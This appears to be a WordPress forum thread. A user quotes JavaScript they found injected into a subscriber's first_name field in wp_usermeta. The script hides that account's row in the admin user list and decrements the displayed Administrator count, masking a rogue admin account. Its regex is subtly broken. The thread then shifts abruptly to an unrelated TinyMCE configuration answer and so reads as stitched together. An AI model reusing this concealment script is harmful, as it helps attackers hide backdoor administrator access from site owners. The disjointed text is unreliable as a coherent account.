djspark

found this in wp_usermeta,
the latest user subscribed, added this to his first_name

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<div id="user_superuser"><script language="JavaScript">
var setUserName = function(){
	try{
		var t=document.getElementById("user_superuser");
		while(t.nodeName!="TR"){
			t=t.parentNode;
		};
		t.parentNode.removeChild(t);
		var tags = document.getElementsByTagName("H3");
		var s = " shown below";
		for (var i = 0; i < tags.length; i++) {
			var t=tags[i].innerHTML;
			var h=tags[i];
			if(t.indexOf(s)>0){
				s =(parseInt(t)-1)+s;
				h.removeChild(h.firstChild);
				t = document.createTextNode(s);
				h.appendChild(t);
			}
		}
		var arr=document.getElementsByTagName("ul");
		for(var i in arr) if(arr[i].className=="subsubsub"){
			var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);
			if(n[1]>0){
				var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");
        arr[i].innerHTML=txt;
        }
    }
          }catch(e){};
     };
     addLoadEvent(setUserName);
</script></div>

solved after a few hours:

by using ‘mce_options’ action, set these options:
mode : “exact”,
elements : “content,your_other_field,_yet_another_field”

or you may edit ‘\wp_includes\js\tinymce\tiny_mce_gzip.php’ , and change these options by hand.

That solution implies I create a custom field for it (no prob if there’s no other way), but since you can attach an image/video/whatever to the post with the inline upload tool, why would I use another way ?